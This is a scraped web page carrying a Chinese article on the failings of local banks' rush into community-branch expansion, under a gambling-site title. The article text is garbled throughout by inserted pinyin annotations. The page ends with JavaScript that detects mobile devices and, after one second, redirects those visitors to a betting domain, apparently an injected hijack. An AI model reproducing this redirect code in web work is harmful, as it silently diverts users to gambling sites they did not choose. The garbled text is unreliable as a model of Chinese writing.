ku游戏网站

今天是2021年7月31日 星期六(liu),欢迎(ying)光临本(ben)站 

科技金融

【原创】“社区银行”之殇(二)

文字:[大][中][小] 手机页面二维码 2021/7/16     浏览次数:    

误区二:盲目(mu)跟(gen)风(feng)

 

银行(xing)的(de)(de)网(wang)(wang)点(dian)渠道战略作为业务战略中(zhong)的(de)(de)重要一(yi)(yi)(yi)环,对(dui)于银行(xing)的(de)(de)市(shi)场(chang)定位、客(ke)(ke)户(hu)(hu)市(shi)场(chang)细分等有着重要的(de)(de)影响。一(yi)(yi)(yi)些银行(xing)往(wang)往(wang)将渠道战略作为客(ke)(ke)户(hu)(hu)结构调整的(de)(de)重要实现手段。如(ru)一(yi)(yi)(yi)家(jia)(jia)大(da)型(xing)银行(xing)加大(da)在(zai)中(zhong)心城(cheng)区的(de)(de)网(wang)(wang)点(dian)设置数量,其战略意图(tu)就是要抢占城(cheng)市(shi)新兴的(de)(de)中(zhong)产阶级(ji)客(ke)(ke)户(hu)(hu)群体(ti);而另一(yi)(yi)(yi)家(jia)(jia)银行(xing)大(da)力在(zai)强(qiang)县富镇设置网(wang)(wang)点(dian),则(ze)是希望抓住改革红利,在(zai)新城(cheng)镇化建设中(zhong)分一(yi)(yi)(yi)杯羹。

 

由于银(yin)(yin)行(xing)(xing)开户和风(feng)险测评(ping)的(de)(de)监管要(yao)(yao)求、长(zhang)尾客(ke)户的(de)(de)使用习惯(guan)、复杂产品的(de)(de)咨(zi)询和销售(shou)等因(yin)素,客(ke)户对(dui)银(yin)(yin)行(xing)(xing)网点(dian)的(de)(de)仍有(you)一定的(de)(de)依赖性,银(yin)(yin)行(xing)(xing)要(yao)(yao)发展零售(shou)业务离不开一个完(wan)善的(de)(de)物理网点(dian)渠道(dao)作(zuo)为支撑。


中国(guo)银监会多届(jie)领导人(ren)(ren),如(ru)刘明康、郭树清等(deng)都(dou)提(ti)到目前国(guo)内银行(xing)同(tong)质(zhi)化(hua)竞争十分严重,要(yao)求银行(xing)结合自身的实际,动(dong)态调整发展战略,不(bu)亦步亦趋(qu),不(bu)人(ren)(ren)云亦云,但是事实上,知易行(xing)难。


2013年,某银行宣称(cheng)要在3年中开设10000家社区支(zhi)行网点,其(qi)(qi)本意是想(xiang)借(jie)监管机构(gou)支(zhi)持普惠(hui)金融(rong)的(de)(de)东风,迅(xun)速(su)扩张其(qi)(qi)网点,来加(jia)强(qiang)其(qi)(qi)零售(shou)银行战略的(de)(de)落地。对于(yu)作为(wei)全国性商(shang)业银行而此时网点数不(bu)足1000家的(de)这家银行来说,快速扩张网点有(you)其必要(yao)性。


尽管之后不多久,随着该银行领(ling)导层的(de)调整,其10000家(jia)社区支行网(wang)点的建设(she)计划已(yi)成为了明日(ri)黄花,但这(zhei)家(jia)银行已(yi)充分(fen)发挥了其“鲶鱼效(xiao)应”。在(zai)这(zhei)过程中,反(fan)应最激(ji)烈的要数(shu)各类(lei)地方(fang)性银行。试想,原来(lai)这(zhei)些银行在(zai)本(ben)地的网(wang)点数(shu)都和四大行不相上下,突然冒(mao)出来(lai)一家(jia)银行,按照全(quan)国(guo)新增10000家(jia)的建设规模(mo)来看,网点(dian)数量在3年内要成为(wei)本地网点渠(qu)道最多的银行,那还了得?


 

国内很(hen)多银行(xing)有“落后恐惧症”,一旦出现了(le)什么新概念,往往在(zai)(zai)没有研究清楚之前,就会先行(xing)动(dong)起来,生(sheng)怕落后。于是乎,在(zai)(zai)“羊(yang)群效应(ying)”的(de)影响(xiang)下,多家地方性银行(xing)开始(shi)了(le)大(da)上快上社区支行(xing)的(de)建设工程,有的(de)行(xing)要求(qiu)上100家,有的行要求上200家(jia)…. 不搞社区支行(xing)不足以显(xian)示本(ben)行(xing)理念的先(xian)进(jin)性,其实各家银行(xing)又陷入了新的同质化(hua)竞争(zheng)的过程中(zhong)(zhong)。在一哄而上中(zhong)(zhong),各种问题开始显(xian)现出(chu)来。

 

为了在(zai)(zai)规定的(de)(de)(de)时间内(nei)完成建(jian)设指标的(de)(de)(de)要(yao)求,一些(xie)银(yin)行(xing)在(zai)(zai)社(she)(she)区(qu)支(zhi)行(xing)选址(zhi)上(shang)存(cun)(cun)在(zai)(zai)很(hen)大的(de)(de)(de)随意(yi)性,有些(xie)仅按(an)照字面上(shang)理解(jie),将(jiang)社(she)(she)区(qu)支(zhi)行(xing)开在(zai)(zai)小区(qu)门口。从网(wang)(wang)(wang)点(dian)数(shu)量上(shang)来看(kan),由于很(hen)多地方性银(yin)行(xing)的(de)(de)(de)网(wang)(wang)(wang)点(dian)数(shu)量原来就(jiu)不少,没有考(kao)(kao)虑(lv)市场容量而(er)盲(mang)目扩张网(wang)(wang)(wang)点(dian),导致某些(xie)区(qu)域网(wang)(wang)(wang)点(dian)过(guo)度饱和,甚至(zhi)存(cun)(cun)在(zai)(zai)内(nei)部竞争。一些(xie)银(yin)行(xing)并没有深入思考(kao)(kao)社(she)(she)区(qu)银(yin)行(xing)的(de)(de)(de)定位、主要(yao)客群、选址(zhi)要(yao)求、业务运作(zuo)方式、人(ren)员配置要(yao)求、经营方法(fa)等问题。

 

误区(qu)三(san)、定位不清

 

1)从作(zuo)为网点类型中一种简易形态(tai)的“社(she)(she)区(qu)支(zhi)(zhi)行”来(lai)看,大多(duo)数银行一开始对(dui)社(she)(she)区(qu)支(zhi)(zhi)行寄(ji)以厚望,但几年后失望就代替了(le)希望,大多(duo)数社(she)(she)区(qu)支(zhi)(zhi)行的发展并不如(ru)人意。这就牵(qian)涉到(dao)了(le)社(she)(she)区(qu)支(zhi)(zhi)行的定位问题。

 

从(cong)银行(xing)的(de)(de)实践来看,同样是通(tong)过(guo)缩小网(wang)(wang)点(dian)(dian)(dian)(dian)(dian)面积来降(jiang)低成(cheng)本(ben),社区(qu)支行(xing)可以(yi)分(fen)为两(liang)类(lei)(lei),一类(lei)(lei)是以(yi)降(jiang)低成(cheng)本(ben)维护现(xian)有(you)客(ke)户(hu)为主(zhu)(zhu)(zhu)要目标,这(zhei)类(lei)(lei)网(wang)(wang)点(dian)(dian)(dian)(dian)(dian)往(wang)往(wang)是现(xian)有(you)传统网(wang)(wang)点(dian)(dian)(dian)(dian)(dian)瘦(shou)身后,留下来的(de)(de)过(guo)渡性网(wang)(wang)点(dian)(dian)(dian)(dian)(dian),主(zhu)(zhu)(zhu)要通(tong)过(guo)自助机具和少(shao)量的(de)(de)人(ren)工服务,来满足(zu)现(xian)有(you)客(ke)户(hu)的(de)(de)需求;另一类(lei)(lei)是以(yi)获取(qu)新客(ke)户(hu)为主(zhu)(zhu)(zhu),这(zhei)类(lei)(lei)社区(qu)支行(xing)往(wang)往(wang)网(wang)(wang)点(dian)(dian)(dian)(dian)(dian)所(suo)在(zai)的(de)(de)区(qu)域客(ke)户(hu)质量比(bi)较好,希望通(tong)过(guo)低成(cheng)本(ben)快速(su)设立社区(qu)支行(xing)网(wang)(wang)点(dian)(dian)(dian)(dian)(dian)扩充网(wang)(wang)点(dian)(dian)(dian)(dian)(dian)渠道,以(yi)便覆盖盲区(qu),完善现(xian)有(you)网(wang)(wang)点(dian)(dian)(dian)(dian)(dian)的(de)(de)布局体系。

 

从(cong)实际观察来看,地方性银(yin)行(xing)和(he)四大(da)行(xing)对社区支行(xing)(四大(da)行(xing)称之为(wei)(wei)“微(wei)网点(dian)”或(huo)(huo)“轻型网点(dian)”)的(de)(de)期望(wang)值或(huo)(huo)定(ding)(ding)位还(hai)是有一(yi)定(ding)(ding)差别(bie)的(de)(de)。地方性银(yin)行(xing)大(da)多(duo)(duo)把社区支行(xing)作(zuo)(zuo)为(wei)(wei)获取新(xin)客户和(he)新(xin)业(ye)务的(de)(de)一(yi)种(zhong)手段,而四大(da)行(xing)中除个别(bie)银(yin)行(xing)将微(wei)型网点(dian)作(zuo)(zuo)为(wei)(wei)新(xin)的(de)(de)业(ye)务增长(zhang)点(dian),多(duo)(duo)数银(yin)行(xing)将微(wei)型网点(dian)作(zuo)(zuo)为(wei)(wei)一(yi)种(zhong)网点(dian)“瘦身”的(de)(de)手段。由于定(ding)(ding)位不同,则银(yin)行(xing)对其考核(he)和(he)资源安排也不同。

 

2)从(cong)作为“社(she)区(qu)(qu)(qu)(qu)(qu)银行业(ye)务(wu)”经营模(mo)式的情况来(lai)看,国外大多数(shu)社(she)区(qu)(qu)(qu)(qu)(qu)银行强调(diao)(diao)地(di)缘优(you)势(shi)和人缘优(you)势(shi),通过和银行网点经营所在(zai)社(she)区(qu)(qu)(qu)(qu)(qu)的互动(dong)(社(she)区(qu)(qu)(qu)(qu)(qu)服务(wu)、社(she)区(qu)(qu)(qu)(qu)(qu)义工、社(she)区(qu)(qu)(qu)(qu)(qu)捐助、社(she)区(qu)(qu)(qu)(qu)(qu)活动(dong)赞助等(deng)形(xing)式),强调(diao)(diao)和当地(di)社(she)区(qu)(qu)(qu)(qu)(qu)利益共(gong)同(tong)体的关(guan)系,“取(qu)自(zi)于(yu)社(she)区(qu)(qu)(qu)(qu)(qu),用之于(yu)社(she)区(qu)(qu)(qu)(qu)(qu)”。

 

从这个(ge)意(yi)义上来说,银(yin)(yin)行(xing)并不(bu)是(shi)(shi)(shi)要开(kai)(kai)(kai)设(she)“社(she)(she)(she)区(qu)(qu)支(zhi)行(xing)”才能经(jing)营“社(she)(she)(she)区(qu)(qu)银(yin)(yin)行(xing)”的(de)。社(she)(she)(she)区(qu)(qu)支(zhi)行(xing)只是(shi)(shi)(shi)网点(dian)的(de)一种形态。现有(you)的(de)上千(qian)家地方性(xing)(xing)银(yin)(yin)行(xing),无论(lun)其(qi)网点(dian)形态如(ru)何,是(shi)(shi)(shi)否开(kai)(kai)(kai)设(she)“社(she)(she)(she)区(qu)(qu)支(zhi)行(xing)”,其(qi)本质都是(shi)(shi)(shi)社(she)(she)(she)区(qu)(qu)银(yin)(yin)行(xing)。有(you)些地方性(xing)(xing)银(yin)(yin)行(xing),一开(kai)(kai)(kai)始开(kai)(kai)(kai)设(she)了一些不(bu)带现金柜(ju)(ju)的(de)小型网点(dian),后来发现其(qi)经(jing)营所在地的(de)客群对柜(ju)(ju)台有(you)较(jiao)强的(de)依赖性(xing)(xing),又重新在网点(dian)里开(kai)(kai)(kai)设(she)了现金柜(ju)(ju),其(qi)仍然(ran)是(shi)(shi)(shi)社(she)(she)(she)区(qu)(qu)银(yin)(yin)行(xing)。

 

银行大多数网点(dian)所在的经(jing)营区域(yu)都是以(yi)社(she)区为主(zhu)的,由(you)于城市特(te)性的复杂性,有(you)些经(jing)营区域(yu)内可能不止一个社(she)区,另外还有(you)商圈内的中小企业业主(zhu)、写字楼内的白(bai)领(ling)工(gong)作(zuo)人员等。根据社区(qu)的(de)(de)定(ding)义:有(you)一(yi)定(ding)的(de)(de)地(di)理区(qu)域,有(you)一(yi)定(ding)数量(liang)的(de)(de)人口,居(ju)民之间有(you)共同(tong)的(de)(de)意(yi)识和利益,有(you)着(zhe)较密切的(de)(de)社会交往,大多(duo)数银行(xing)网点(dian)(dian)都(dou)是在“社区(qu)银行(xing)”的(de)(de)土壤上(shang)经营的(de)(de),只不(bu)过(guo)大多(duo)数银行(xing)过(guo)去(qu)更侧重于(yu)个(ge)人客(ke)户(hu)的(de)(de)“企(qi)业属性(xing)”(代发工资等(deng)),或(huo)者对于(yu)个(ge)人客(ke)户(hu)处于(yu)等(deng)客(ke)上(shang)门的(de)(de)状态,很(hen)少去(qu)研究(jiu)网点(dian)(dian)周边(bian)社区(qu)和各类人群的(de)(de)“社区(qu)属性(xing)”,更谈不(bu)上(shang)根据(ju)客(ke)群的(de)(de)特点(dian)(dian),主动出击,进行(xing)深度的(de)(de)开发和挖掘。

 


事实(shi)上,众多的(de)(de)(de)地方性(xing)银行(xing)(xing)(xing),虽然(ran)没有开(kai)设“社区(qu)支(zhi)行(xing)(xing)(xing)”,但是它(ta)们一(yi)直在(zai)(zai)通过各种方式探(tan)讨和(he)实(shi)践如(ru)何为所在(zai)(zai)经(jing)营区(qu)域的(de)(de)(de)客户提供更好的(de)(de)(de)金融(rong)和(he)非金融(rong)服务(wu)(wu)。所以说,并(bing)不需要(yao)开(kai)设“社区(qu)支(zhi)行(xing)(xing)(xing)”才能发展社区(qu)银行(xing)(xing)(xing)业(ye)务(wu)(wu),像(xiang)富国银行(xing)(xing)(xing)一(yi)样,即使像(xiang)四(si)大行(xing)(xing)(xing)这样的(de)(de)(de)庞然(ran)大物,只(zhi)要(yao)它(ta)把(ba)零(ling)售业(ye)务(wu)(wu)(社区(qu)银行(xing)(xing)(xing)业(ye)务(wu)(wu))放在(zai)(zai)一(yi)个重要(yao)的(de)(de)(de)地位,紧密围(wei)绕网(wang)点(dian)(dian)经(jing)营所在(zai)(zai)区(qu)域的(de)(de)(de)客户群体特点(dian)(dian),提供各种金融(rong)和(he)非金融(rong)服务(wu)(wu),四(si)大行(xing)(xing)(xing)的(de)(de)(de)传统(tong)网(wang)点(dian)(dian)也(ye)可以变身为社区(qu)银行(xing)(xing)(xing)网(wang)点(dian)(dian)。

 


(未完待续)

返回上一步
打印此页
13818970338
浏览(lan)手机站(zhan)
微信二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();